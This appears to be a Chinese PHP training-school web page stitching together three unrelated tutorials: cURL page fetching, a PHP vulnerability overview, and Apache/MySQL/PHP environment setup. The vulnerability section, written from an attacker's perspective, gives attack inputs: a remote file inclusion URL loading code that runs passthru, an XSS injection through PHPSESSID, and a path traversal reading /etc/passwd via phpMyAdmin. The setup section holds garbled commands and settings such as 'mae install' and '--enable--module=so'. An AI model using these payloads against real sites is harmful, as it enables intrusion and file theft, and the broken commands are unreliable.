多数大学生出来选择的工作和专业无关
首页 > 专业知识

PHP的cURL库简单和有效地抓网页

时间:2019-02-13 19:21:49 [来源]:郑州PHP培训学校

   PHP的cURL库简单和有效地抓网页

  教程贴士:使用PHP的cURL库可以简单和有效地去抓网页。你只需要运行一个脚本,然后分析一下你所抓取的网页,然后就可以以程序的方式得到你想要的数据了。
  使用PHP的cURL库可以简单和有效地去抓网页。你只需要运行一个脚本,然后分析一下你所抓取的网页,然后就可以以程序的方式得到你想要的数据了。无论是你想从从一个链接上取部分数据,或是取一个XML文件并把其导入数据库,那怕就是简单的获取网页内容,cURL 是一个功能强大的PHP库。本文主要讲述如果使用这个PHP库。
  启用 cURL 设置
  首先,我们得先要确定我们的PHP是否开启了这个库,你可以通过使用php_info()函数来得到这一信息。
  phpinfo();
  ?>
  如果你可以在网页上看到下面的输出,那么表示cURL库已被开启。
  如果你看到的话,那么你需要设置你的PHP并开启这个库。如果你是在Windows平台下,那么非常简单,你需要改一改你的php.ini文件的设置,找到php_curl.dll,并取消前面的分号注释就行了。如下所示:
  //取消下在的注释
  extension=php_curl.dll
  如果你是在Linux下面,那么,你需要重新编译你的PHP了,编辑时,你需要打开编译参数——在configure命令上加上“–with-curl” 参数。
  一个小示例
  如果一切就绪,下面是一个小例程:
  // 初始化一个 cURL 对象
  $curl = curl_init();
  // 设置你需要抓取的URL
  curl_setopt($curl, CURLOPT_URL, 'http://a.com');// 设置header
  curl_setopt($curl, CURLOPT_HEADER, 1);
  // 设置cURL 参数,要求结果保存到字符串中还是输出到屏幕上。
  curl_setopt($curl, CURLOPT_RETURNTRANSFER, 1);// 运行cURL,请求网页
  $data = curl_exec($curl);
  // 关闭URL请求
  curl_close($curl);
  // 显示获得的数据
  var_dump($data);
  ?>
 
  php页面漏洞分析及相关问题解决
  教程贴士:我对目前常见的PHP漏洞做了一下总结,大致分为以下几种从现在的网络安全来看,大家最关注和接触最多的WEB页面漏洞应该是ASP了,在这方面,小竹是专家,我没发言权。然而在PHP方面来看,也同样存在很严重的安全问题,但是这方面的文章却不多。在这里,就跟大家来稍微的讨论一下PHP页面的相关漏洞吧。
  我对目前常见的PHP漏洞做了一下总结,大致分为以下几种:包含文件漏洞,脚本命令执行漏洞,文件泄露漏洞,SQL注入漏洞等几种。当然,至于COOKIE欺骗等一部分通用的技术就不在这里讨论了,这些资料网上也很多。那么,我们就一个一个来分析一下怎样利用这些漏洞吧!
  首先,我们来讨论包含文件漏洞。这个漏洞应该说是PHP独有的吧。这是由于不充分处理外部提供的恶意数据,从而导致远程攻击者可以利用这些漏洞以WEB进程权限在系统上执行任意命令。我们来看一个例子:假设在a.php中有这样一句代码:
  以下是引用片段:
  include($include."/xxx.php");
  ?>
  在这段代码中,$include一般是一个已经设置好的路径,但是我们可以通过自己构造一个路径来达到攻击的目的。比方说我们提交:a.php?include=http://web/b.php,这个web是我们用做攻击的空间,当然,b.php也就是我们用来攻击的代码了。我们可以在b.php中写入类似于:passthru("/bin/ls /etc");的代码。这样,就可以执行一些有目的的攻击了。(注:Web服务器应该不能执行php代码,不然就出问题了。相关详情可以去看<<如何对PHP程序中的常见漏洞进行攻击>>)。在这个漏洞方面,出状况的很多,比方说:PayPal Store Front,HotNews,Mambo Open Source,PhpDig,YABB SE,phpBB,InvisionBoard,SOLMETRA SPAW Editor,Les Visiteurs,PhpGedView,X-Cart等等一些。
  接着,我们再来看一下脚本命令执行漏洞。这是由于对用户提交的URI参数缺少充分过滤,提交包含恶意HTML代码的数据,可导致触发跨站脚本攻击,可能获得目标用户的敏感信息。我们也举个例子:在PHP Transparent的PHP PHP 4.3.1以下版本中的index.php页面对PHPSESSID缺少充分的过滤,我们可以通过这样的代码来达到攻击的目的:http://web/index.php?PHPSESSID=">在script里面我们可以构造函数来获得用户的一些敏感信息。在这个漏洞方面相对要少一点,除了PHP Transparent之外还有:PHP-Nuke,phpBB,PHP Classifieds,PHPix,Ultimate PHP Board等等。
  再然后,我们就来看看文件泄露漏洞了,这种漏洞是由于对用户提交参数缺少充分过滤,远程攻击者可以利用它进行目录遍历攻击以及获取一些敏感信息。我们拿最近发现的phpMyAdmin来做例子。在phpMyAdmin中,export.php页面没有对用户提交的'what'参数进行充分过滤,远程攻击者提交包含多个'../'字符的数据,便可绕过WEB ROOT限制,以WEB权限查看系统上的任意文件信息。比方说打入这样一个地址:export.php?what=../../../../../../etc/passwd%00 就可以达到文件泄露的目的了。在这方面相对多一点,有:myPHPNuke,McNews等等。
  最后,我们又要回到最兴奋的地方了。想想我们平时在asp页面中用SQL注入有多么爽,以前还要手动注入,一直到小竹悟出"SQL注入密笈"(嘿嘿),然后再开做出NBSI以后,我们NB联盟真是拉出一片天空。曾先后帮CSDN,大富翁论坛,中国频道等大型网站找出漏洞。(这些废话不多说了,有点跑题了...)。
  还是言规正传,其实在asp中SQL的注入和php中的SQL注入大致相同,只不过稍微注意一下用的几个函数就好了。将asc改成ASCII,len改成LENGTH,其他函数基本不变了。其实大家看到PHP的SQL注入,是不是都会想到PHP-NUKE和PHPBB呢?不错,俗话说树大招分,像动网这样的论坛在asp界就该是漏洞这王了,这并不是说它的论坛安全太差,而是名气太响,别人用的多了,研究的人也就多了,发现的安全漏洞也就越多了。PHPBB也是一样的,现在很大一部分人用PHP做论坛的话,一般都是选择了PHPBB。它的漏洞也是一直在出,从最早phpBB.com phpBB 1.4.0版本被人发现漏洞,到现在最近的phpBB 2.0.6版本的groupcp.php,,以及之前发现的search.php,profile.php,viewtopic.php等等加起来,大概也有十来个样子吧。这也一直导致,一部分人在研究php漏洞的时候都会拿它做实验品,所谓百练成精嘛,相信以后的PHPBB会越来越好。
 
  详解如何正确配置PHP开发环境
  教程贴士:如何正确的配置PHP开发环境呢?文章将介绍Apache、MySql、PHP的下载、安装及配置,分别讲述在windows和Linux环境下开发环境的搭建PHP语言在进行开发之前,需要将开发环境配置妥当,这样才能实现我们的程序完美运行。那么,如何正确的配置PHP开发环境呢?文章将介绍Apache、MySql、PHP的下载、安装及配置,分别讲述在windows和Linux环境下开发环境的搭建。
  一、下载Apache、MySql和PHP
  1、Apache的下载
  Apache服务器可以通过官方提供的镜像地址来下载windows的Apache安装程序,不过都是英文版的,而且下载速度太慢。我建议大家去华军、天空或者中关村下载最新版的安装程序,速度很快。
  2、MySQL的下载
  MySQL的官方网站是http://www.mysql.com。可以下载最新版本的MySQL,还是那句话,建议大家去华军、天空或者中关村下载。
  3、PHP的下载
  PHP的官方网站是http://www.php.net。可以下载最新的版本。
  二、在windows下配置PHP开发环境
  1、Apache、MySql和PHP的安装像安装windows其他软件一样,这里建议把Apache和PHP软件安装在D盘目录下,把MySQL软件安装在C盘,这样不需要做任何设置,MySQL就可以顺利启动运行。
  2、配置开发环境
  为了让windows可以执行PHP,需要做进一步的工作,按以下步骤搭建好环境:
  1)在PHP安装目录下,找到文件php5ts.dll,将其复制到C盘system32目录下。
  2)在PHP安装目录下,找到文件libmysql.dll,将其复制到C盘system32目录下。
  3)在PHP安装目录下,找到文件php.ini,将其复制到C:\windows下。这个文件是配置PHP的基本文件,如设置服务器根目录配置,用文本编辑器打开php.ini文件,找到"doc_root=",因为我把Apache默认安装在D盘根目录下,所以,修改这个配置项的值为:doc_root=d:\apache2\htdocs提示:用户根据自己安装Apache的路径,修改该配置项的值。
  4)在php.ini中找到“extension_dir ="./"”,这个配置项用来载入PHP的扩展模块,修改该配置项如下:extension_dir = d:\php\ext,(需要按自己的安装目录修改PHP的载入位置)。
  5)在php.ini中找到“;extension=php_mysql.dll”,把这项前面的分号去掉,表示使这个项生效。这个配置项用来使PHP支持MySQL,这里分号起注释作用。修改完PHP的配置文件php.ini后,保存退出该文件。
  6)进行Apache的配置。转到Apache的安装目录下的conf目录,用文本编辑器打开Apache的配置文件http.conf。在此文件中找到 dynamic shared object(DOS) Support,在LoadModule行的最后添加如下配置项:LoadModule php5_module d:/php/php5apache2.dll,(需要按自己的安装目录修改PHP的载入位置)。该项是通过Apache来载入PHP模块php5apache2.dll,即PHP以Apache的一个模块来运行。
  7)为了让Apache支持.php后缀的文件,在http.conf中找到AddType项,在最后添加如下配置项:AddType application/x-httpd-php.php。找到directoryIndex,在最后添加index.php。为了支持中文,找到AddDefaultCharset ISO-8859-1改为AddDefaultCharset GB2312。修改完后保存http.conf。即完成Apache的基本配置。
  注意:强烈建议对Apache配置文件http.conf进行修改时,一定遵守修改一点测试一点的原则,即每次修改完一项并保存http.conf后,要重启一下Apache,如果Apache正常启动,则可以进行后续修改,否则,说明本次修改有误,仔细检查并重新修改。
  三、在Linux下配置配置PHP开发环境
  1、MySQL的安装
  在MySQL官网下载MySQL的安装文件MySQL-server-4.0.20-0.i386.rpm,执行下面的命令完成MySQL的安装。
  rpm -ivh MySQL-server-4.0.20-0.i386.rpm
  在没有设置MySQL密码的情况下,通过以下命令测试MySQL是否安装成功。
  mysql -u root
  出现类似welcome to the mysql mointor. commands end with;or \g的字样,说明安装成功。
  2、Apache的安装
  从Apache的官网下载UNIX版本的压缩包,以httpd-2.0.52.tar.gz为例,假设资源包放在/usr/local/src下,进入这个目录后解压缩,命令如下:
  cd /usr/local/src
  tar -zxvf httpd-2.0.52.tar.gz
  解压缩后,进入目录httpd-2.0.52,执行以下命令:
  ./configure --prefix=/usr/local/apache2 --enable--module=so其中--prefix=/usr/local/apache2用来指定Apache的安装目录。接下来进行编译,执行一下命令完成安装。
  make
  mae install
 

上一篇:如何使用PHP运算符==比较字符串

下一篇:PHP类搜索定位目录树的具体实现方式解析